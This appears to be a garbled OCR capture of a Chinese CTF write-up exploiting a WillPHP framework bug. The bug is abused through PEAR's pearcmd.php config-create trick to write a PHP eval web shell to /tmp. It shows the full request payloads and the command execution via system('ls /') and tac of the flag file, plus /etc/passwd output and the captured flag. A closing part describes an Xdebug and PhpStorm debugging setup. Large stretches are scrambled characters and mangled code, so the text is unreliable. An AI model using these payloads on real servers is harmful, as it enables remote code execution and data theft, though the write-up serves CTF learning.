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namespace  appcontroller;
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public function index(){
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namespace wiphp;
1 defined( name: '"WPHP_URI') or die('Access Denied');
11 class View {
12 private static $vars = [];
13 private function __construct() {}
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namespace home'controller: R S .
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public function index()!{
highlight_file(_ FILE_};
assign(3 GET[ name’ 1, $ GET[ value']);
return  view();
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bin71:1:bin:/bin:/sbin/nologin
daemon(12:2:daemon:/sbin:/sbin/nologin
adm(13:4:adm:/var/adm:/sbin/nologin
Ip(14:7:Ip:/var/spool/lpd:/sbin/nologin
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P P . LS B %% pearcmd.php config-create </root path> < filename>

createZ 3}
config-create ) i ¥ s </root path>Z 3 F B 75 A\ BIRATH B < filename>IE & St
peariZ S H 1) 77 @it readPHPArgvif St B i 4 11 S 31

readPHPArgv & # 2 ] 152 B iy

S5% H—&. Elargv[|#ME, H RS SERVER[argv], EEEMNE1TIHEINSH
4%



BR B

2. docker} ¥ T & H HPHPERINFF Jaregister_argv_argci i, thuffregister_argv_argc=on
register_argv_argc=on FevF LAGET (7 2N BUE SR 775 5 2$_SERVER[argv] 4+

b “FKS % . R GET MR RS WA R, RS — AR
ZEURLF % Froart et | O FA A ANSE, ERUGETHRARR SRS SERVER[argvIBUARHIR AR, RAS—F+2/5H

(RPN A
URLHXF T URL (5
FEURLIAT URLES B B8k A EIR i 53
B fig
A DRI 7E URL Hh i3 3k 5248 5B 4% A config-create & $i% pearcmd.php#r4-, [RIRF7E</root path>F i &
S8 Flpearcmd.php#ir 4 3 HAAN—4AJiEART, 7E< filename>4balE—ANtmpiox.php, FA/tmp B FAEM ANEHE
ABR 7 1]
JtF41E< Iroot path>4bE N
— &) A8 F pearcmd.php iy B st F—4 IE & Kpearcmd.php#r & R b4 £ AT 15 1
AR 2
HER1: </root path>®—2% AR B F I H 3%
&2 BT RESEE, HR&ESE, UMRIEERE &I GETSHT L EMILE, M X4as
HE3: —HERGA T BT R <?=eval($_POSTIc]);?>

2. pearcmd.phpfir4-ifidreadPHPArgveR U an a5 Bl S 5 -

public static function readPHPArgv()

i
global $argy;

if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=0ff?)";

return PEAR::raiseError("Console Getopt: . $msg);

¥
return $GLOBALS['HTTP_SERVER VARS']['argv'];
by
return $_SERVER[ 'argv'];
¥

return $argv;

M

4. HFpearcmdir &S HHIEE, FLAAS _SERVER[argv]HiH, $_SERVER[argv]X Al BA getid SR 7 4F 8 HiszBL
payload:

?+config-create+/&name=cfile&value=/usr/loca;/lib/php/pearcmd.php&/<?=eval($_POST[c]);?>+/tmp/test.php

/?name=cfile&value=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($ _POST[c]);?>+/tmp/shell.php

5. fEBUUCTF KR H #E+& + ik payload

index( | 0.0438s [l |

nansspace home'controller

) | en@) view... |

Auto-discover new Channels auto_discover Default Channel default_channel pear.php.net HTTP Proxy Server Address http_proxy PEAR server
[DEPRECATED] master_server Default Channel Mirror preferred_mirror Remote Configuration File remote config PEAR executables directory bin_dir /&name=cfile&value=/usr/local/lib/php/pearcmd.php&/%3C?=eval($_POST[c]);?%3E/pear PEAR
documentation directory doc_dir /&name=cfile&value=/usr/local/lib/php/pearcmd.php&/ps3C?=eval($_POST[c]);?%3E[pear/docs PHP extension directory ext_dir /&name=cfile&value=/usr/local/lib/php/pearcmd.php&/%3C?=eval($_POST[c]);?
%3E/pear/ext PEAR directory php_dir /&name=cfile&value=/usr/local/lib/php/pearcmd.php&/%3C?geval($_POST[c]);?%3E/pear/php PEAR Installer cache directory cache_dir /&name=cfile&wvalue=/usr/local/lib/php/pearcmd.php&y/%3C?
=eval($_POST[c]);?%3E/pear/cache PEAR configuration file cfg_dir /&name:(ﬂle&value=/usr/lo(a\/liliphp/pear(md.php&/%SC?=eval($7PDST[(]);7%3E/pear/(fg directory PEAR data directory data_dir




Jasname=criiesvalue=/usl/10cal/ o/ PNp/Pearcma.pnpay/ 3L/ =eval(y_FUs1|C));f%3t/pear/aata PEAR INstaller aownioaa aownioaa_air /&name=crilesvaiue=/usr/ 1ocal/ Iin/pnp/pearcma.pnpay/ 3L/ =evai(s_PuUs 1 |C]); %3t/ pear/aownioaa arectory
Systems manpage files man_dir /&name=cfile8wvalue=/usr/local/lib/php/pearcmd.php8/%3C?=evalf$_POST[c]);?%3E/pear/man directory PEAR metadata directory metadata_dir PHP CLI/CGI binary php_bin php.ini location php_ini --program-prefix
passed to php_prefix PHP's ./configure --program-suffix passed to php_suffix PHP's /configure PEAR Installer temp directory temp_dir /&name=cfile&value=/usr/local/lib/php/pearcmd.php8/%3C?=eval($_POST[c]);?%3E/pear/temp PEAR test
directory test_dir /&name=cfile&value=/usr/local/lib/php/pearcmd.php&y/%3C?=eval($_POST[c]);?%3E/pear/tests PEAR www files directory www_dir /&name=cfile&value=/usr/local/lib/php/pearcmd.php&/%3C?=eval($_POST[c]);?%3E/pear/www
Cache TimeTolive cache_ttl Preferred Package State preferred_state Unix file mask umask Debug Lgg Level verbose PEAR password (for password maintainers) Signature Handling Program sig_bin Signature Key Directory sig_keydir Signature Key Id
sig_keyid Package Signature Type sig_type PEAR username (for username maintainers) User Configliration File Filename /tmp/test.php System Configuration File Filename #no#system#config# Successfully created default configuration file

" /tmp/test.php”

S22, M TS <>URLIRES, TSI @ T Burpsuiteskf#3aiEs

& a

LOAD

HackBar Elements Console Sources Network Performance Memory Apflication Security B1 ¢ H x

SPLIT EXECUTE TEST -~ saLl - Xss - LFI SSTI - ENCODING -~ HASHING ~ THEME -~

URL
http://d3311775-9578-4f68-bc33-30b6e79897¢7.node4 .buuoj.cn:81/
?+config-create+/&name=cfile&value=/usr/local/lib/php/pearcmd. php&/F7 eva\(s POSTIc]); ;|+/trnp/test php

CSDN @c¢jwsn
6. Brupsuitef& \payload, F|HJFIHI-KHFKEflaglE B
[ Burp Suite Professional v1.7.26 - Temparary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecn o x

Burp Intruder Repeater Window Help
Target | Proxy | Spider | Scanner I Intruder IRepeata! T Sequencer T Decoder I Comparer I Extender I Project options T User options | Alerts
1|

Go Cancel <|v >y

Request

Target: http://d3311775-9578-4f68-bc33-30b6e79897e7.node4.buuoj.cn:81 D
Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

[BET /2-+coniig-create +/2name=cfilsavalue=justflocallib/php/pearcmd. php&J<?=eval(§_POSTI=];?>+mp/shell php| & HTTP Proxy Server Address  hitp_proxy  <nol set> s
ATTPIT.T PEAR server [DEPRECATED] master_server <not set>
Host: d3311775-9578-4166-bc33-30b6e79897 27 noded buuoj.cn:B1 Default Channel Mirror preferred_mirror <not set>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; n:95.0) Gecko/20100101 Firefox/95.0 Remote Configuration File  remote_config <not set>
Accept: text/html application/xhtml+xml,application/xml g=0.8 image/avif image/webp */*;q=0.8 PEAR executables directory bin_dir & file&value=/ust/local/lib/pt | php&/<?=eval(3_POST[c]) ?>/pear
Accept-Language: zh-CM zh;q=0.8 zh-TW,g=0.7 zh-HIK;g=0.5,en-US;q=0.3 en;q=0.2 PEAR documentation directory doc_dir
Connection: close & filedval local/lib/ph 1 nh% <'»:eva\($}c-5r[c]);7>Jaeam1m
Cookie: UM_distinctid=17a47h73f07241-039edfdd9a92hhi-4c312c72-1fa400-17 ad7h7 308241 PHP extension directory ext_dir ™
Upgrade-Insecure-Regquests: 1 & file &vall lacal/lib/ph, l.phpd/<?=cval(§_POST[c]);?>/pear/ext

PEAR directory php_dir ib/php/p php&/<?=eval(§_POST[c])?>/pear’php

PEAR Installer cache directory cache_dir
I /lib/php/y php&/<?=sval(§_POST[c]):?>/pear/cache

PEAR configuration file cfg_dir

/s /lib/php/p php&/<?=eval(§_POST[c]);?>/pear/cly

directory

PEAR data directory data_dir CSDN @qws
& a=cfile&vall 1 I/lib/nh d.nhn&/<?=evallth POSTIRN ?>/mear/data

[ i
highlight _: f1le(__FILE b
assign(§_GET[ name’ ], $_GET[ walue']);
return wiew();

Im:lex >index() | 0.0374s [x]

\nc{Z; sql(0) | err(13)

i
} #PEAR Conﬁg 0.9 a:l 3'{5‘?'

"php_dir";s:81 "',f&name cfile&value /usr/\ocal/libjphp;’pearcmd php ICENSE README.md app config extend index php public runtime willphp

W|Ilphpv2 png /pear/www st 7 cfg_dlr : /&namechile&vaIue=/usr/|oca|,v’|ib,fphp/pearcmd.php LICENSE README.md app config extend index.php public runtime willphp
willphpv2.png /pear/cfg”;s:7:"ext_dir";s:81:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/LICENSE README.md app config extend index.php public runtime willphp
willphpv2.png /pear/ext™;s:7:"doc_dir";s:82:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/LICENSE README.md app config extend index.php public runtime willphp
willphpv2.png /pear/docs”;s:8:"test_dir";s:83:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/LICENSE README.md app config extend index.php public runtime willphp
willphpv2.png /pear/tests”;s:9:"cache _dir";s:83:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/LICENSE README.md app config extend index.php public runtime willphp
willphpv2.png /pear/cache”;s:12:"download_dir";s:86:"/&name=cfile&value=/usr/local/lib/php/pearcind.php8/LICENSE README.md app config extend index.php public runtime
willphp willphpv2.png /pear/download”;s:8:"temp_dir";s:82:"/&name=cfile&value=/usr/local/lib/phpgpearcmd.php&/LICENSE README.md app config extend index.php public runtime]
willphp willphpv2.png /pear/temp®;s:7:"bin_dir";s:77:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/LICENSE README.md app config extend index.php public runtime
willphp willphpv2.png /pear”;s:7:"man_dir";s:81:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/LICENSE README.md app config extend index.php public runtime willphp
willphpv2.png /pear/man”;s:10:"_channels”a:2:{s:12:"pecl.php.net”a:0:{}s:5:"__uri";a:0:{}})}

[ ﬂ HackBar Elements Console Sources Network Performance Memory Application Security B1 Q ;3
LOAD SPLIT EXECUTE TEST -~ sqQLl - X8§ -~ LFI -~ SSTI -~ ENCODING -~ HASHING -~ THEME -~

URL
http://d3311775-9578-4f68-bc33-30b6e79897e7.noded.buuoj.cn:81/
| ’name=ciile&value=/tmp/shell.php |

Enable T 0o ADD HEADER

application/x-www-form-urlencoded

POST
Body
c=system('Is"); CSDN @qwsr

inc(2) (qI'U‘ | err( IjJ View...

! #PEAR _Config 0.9 a:13:{s:7:"php_dir";s:81:"/&name=cfile&value=fusr/local/lib/php/pearcmd.php&y/bin dev etc flag32897328937298hdwidh home lib n
sbin srv sys tmp usr var /pear/php”;s:8:"data_dir";s:.82:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/bin dev etc flag32897328937298hdwidh home lib med\a rnnt opt proc
root run shin srv sys tmp usr var /pear/data";s:7:"www_dir";s:81:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/bin dev etc flag32897328937298hdwidh home lib media mnt
opt proc root run sbin srv sys tmp usr var /pear/www";s:7:"cfg_dir";s:81:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/bin dev etc flag32897328937298hdwidh home lib
media mnt opt proc root run shin srv sys tmp usr var /pear/cfg";s:7:"ext_dir";s:81:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/bin dev etc flag32897328937298hdwidh
home lib media mnt opt proc root run sbin srv sys tmp usr var /pear/ext”;s:7:"doc_dir";s:82:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/bin dev etc
flag32897328937298hdwidh home lib media mnt opt proc root run sbin srv sys tmp usr var /pear/docs”;s:8:"test_dir";s:83:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/bin
dev etc flaa32897328937298hdwidh home lib media mnt ot proc reot run sbin srv svs tmp usr var




/pear/tests";s:9:"cache_dir";s:83:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&y/bin dev etc flag32897328937298hdwidh home lib media mnt opt proc root run sbin srv sys
tmp usrvar /pear/cache";s:12:"download _dir";s:86:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/bin dev etc flag32897328937298hdwidh home lib media mnt opt proc root
run shin srv sys tmp usr var /pear/download”;s:8:"temp_dir";s:82:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&y/bin dev etc flag32897328937298hdwidh home lib media mnt
opt proc root run sbin srv sys tmp usr var /pear/temp”;s:7:"bin_dir";s:77:"/&name=cfile@wvalue=/usr/local/lib/php/pearcmd.php&y/bin dev etc flag32897328937298hdwidh home lib
media mnt opt proc root run sbin srv sys tmp usr var /pear”;s:7:"man_dir";s:81:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&y/bin dev etc flag32897328937298hdwidh home
lib media mnt opt proc root run sbin srv sys tmp usr var /pear/man”;s:10:"__channels”;a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri*;a:0:{}}}

= ﬂ HackBar Elements Console Sources Network Performance Memory Application Security B 1 ¢ S 4

LOAD SPLIT EXECUTE TEST -~ sQLl - Xss -~ LFI ~ SSTI ~ ENCODING -~ HASHING -~ THEME -~

URL

http://d3311775-9578-4f68-bc33-30b6e79897e7.node4.buucj.cn:81/
?name=cfile&value=/tmp/shell.php

enctype

t -
Enable application/x-www-form-urlencoded

POST

ADD HEADER

Body

=system('ls /); CSDN @qwsn

<?php Index->index() | 0.0344s IxI i~

nanespace  homeh.controller:

class IndexController{ inc(2) | sql(0) | err(13) view...
public function index()[

highlight file{ FILE__}:
assign($_GET[ name’ ], §_GET [ valus' 1)
return  wview():

! 2
} #PEAR_Config 0.9 a:13:{s:7:"php_dir";s:81:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/fla -a65f-4b93-b13d-1d31e64e23a5)
/pear/php";s:8:"data_dir"; 82:“,’&narne:(file&value:fusr,’lo(al/lib/php/pear(md.php&jﬂag{edeafGﬁGgéffggfl];W F
/pear/data”;s:7:"www_dir";s:81:"/&name=cfile&wvalue=/usr/local/lib/php/pearcmd.php&/flag{efodaf67-a65f-4b93-b13d-1d31eb4e23a5}
/pear/www";s:7:"cfg_dir";s:81:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/flagiefdafe7-a65f-4b93-b13d-1d31e64e23a5}
/pear/cfg";s:7:"ext_dir";s:81:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/flag{efedaf67-a65f-4b93-b13d-1d31e64e23a5}
/pear/ext”;s:7:"doc_dir";s:82:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/flag{efodaf67-a65f-4b93-b13d-1d31e64e23a5} g
/pear/docs”;s:8:"test_dir";s:83:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/flag{efddaf67-a65f-4b93-b13d-1d31e64e23a5}
/pear/tests”;s:9:"cache _dir";s:83:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/flag{efodaf67-a65f-4b93-b13d-1d31e64e23a5}
/pear/cache";s112:"download_dir";s:86:" /&name=cfile&value=/usr/local/lib/php/pearcmd.php&/flag{efdaf67-a65f-4b93-b13d-1d31e64e23a5}
/pear/download";s:8:"temp_dir";s:82:"/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/flag{efdaf67-a65f-4b93-b13d- 1d31eb4e23a5}

FranrBamn T hin A 7725 I 0mamnn — e Fila @ninbion — fiace el ik fn b fnaarcmd mbn @ Hlan (afOAA 7 ACCE ARO2 hi3d 14321 A04a02400

[ ﬂ HackBar Elements Console Sources Network Performance Memory Application Security B 1 * i X

LOAD SPLIT EXECUTE TEST - sQLl - Xss - LFI -~ SSTI - ENCODING -~ HASHING ~ THEME -~

URL
http://d3311775-9578-4f68-bc33-30b6e79897e7.node4.buuoj.cn:81/
?name=cfile&value=/tmp/shell.php

enctype

k . 5
Enable application/x-www-form-urlencoded

POST

ADD HEADER

Body

c=system('tac /flag32897328937298hdwidh’);

CSDN @qws

7. BXEhEFlag: flag{efodaf67-a65Ff-4b93-b13d-1d31e64e23a5}

Mf: /B4R E phpstorm+phpstudy+xdebugiZ 2 i ik



R RE—MREEEER, RAITEEEEREIAN (E2127.0.0.1) FPEEE EZWWW T Kexp/willphpv2 HE T

55— Villhttps://xdebug.org/wizard, #Ephpinfolf)&AM#EE, &R EIFRAIRT LMEFH KI5 AR A I xdebug
ZE—3P: Vilhttps://xdebug.org/download/historical, T#EXFRAKIxdebug (ELN5.6.27 kA K phpXt M HIxdebug X4 &php_xde
bug-2.5.5-5.6-vcll-nts.d11)
= ERATTH M xdebug XA, HMphpRAext BT, W2 E]Z%E R TL: \PHP\phpStudy\PHPTutorial\php\php-5.6.27
-nts\ext
50U : 77T phpstudyHiphpAEN R A K php . iniBLE3CHF, EREMAUTNE:
[XDebug]
zend_extension="L:\PHP\phpStudy\PHPTutorial\php\php-5.6.27-nts\ext\php_xdebug-2.5.5-5.6-vcll-nts.dll"
xdebug.remote_enable = On
xdebug.remote_handler = dbgp
.remote_host= 127.0.0.1
.remote_port = 9264
.idekey = qwsn
.profiler_output_dir="L:\PHP\phpStudy\PHPTutorial\tmp\xdebug"
.trace_output_dir="L:\PHP\phpStudy\PHPTutorial\tmp\xdebug"
EHP: FEEphpstormifjDebug/DBGp/Servers
miifile->Mifisettings-> M dilanguages & frameworks->m#diPHP->EXCLI Interpreter APHP5.6.27/R4A
B3 i diDebug- >3 ADebug port:9264 (XA H Sphp. ind B %G 0 X8 )
H:E RdiDBGp Proxy->3AIDE Key:qwsn(GXE Sphp.iniBifikey ) ->3H AHost:127.0.0.1(IXE 5php.ini BHX L) - >3H APort : 92
64 (Sphp.ini B KX )
% S iliServers-> S di+% - >3 AName: local_server( R E—/MRFB( 4T, BEMFIEE)->H AHost | [FEX BEBmABF#iiR] (https://i
mg-blog.csdnimg.cn/baed48e3e785042c6b81c999e7a57d0Of9.png?x-0ss-process=image/watermark, type_d3F5LXplbmhlaQ, shadow
50,text_QINETiBAcXdzbg==,size_20,color_ FFFFFF,t 70,g se,x_16)
:127.0.0. 1 (X BHEK R A phpstudy RS RIP) - >E APort: 80 (VER, XARAHphpstudy Mk ERING D) - >Debuggerit##Xdebug
B 5 K IR E i - >apply - >0k
ZENH: BLE—APHP Web Page
miirun->mifiedit configurations->mitiZkE LAK+S->iEFEPHP Web Page
->EANL Fwillphpv2 (BEfE) - >ServerikBFHRIFIAL B Klocal_server->Start URLZEEEIRATM R B R T /exp/willphpv2/ (FAEEwL
11phpv2¥EAB 3] T P uER B 3 T exp/willphpv2 B
- >k IR Bdrapplyflok
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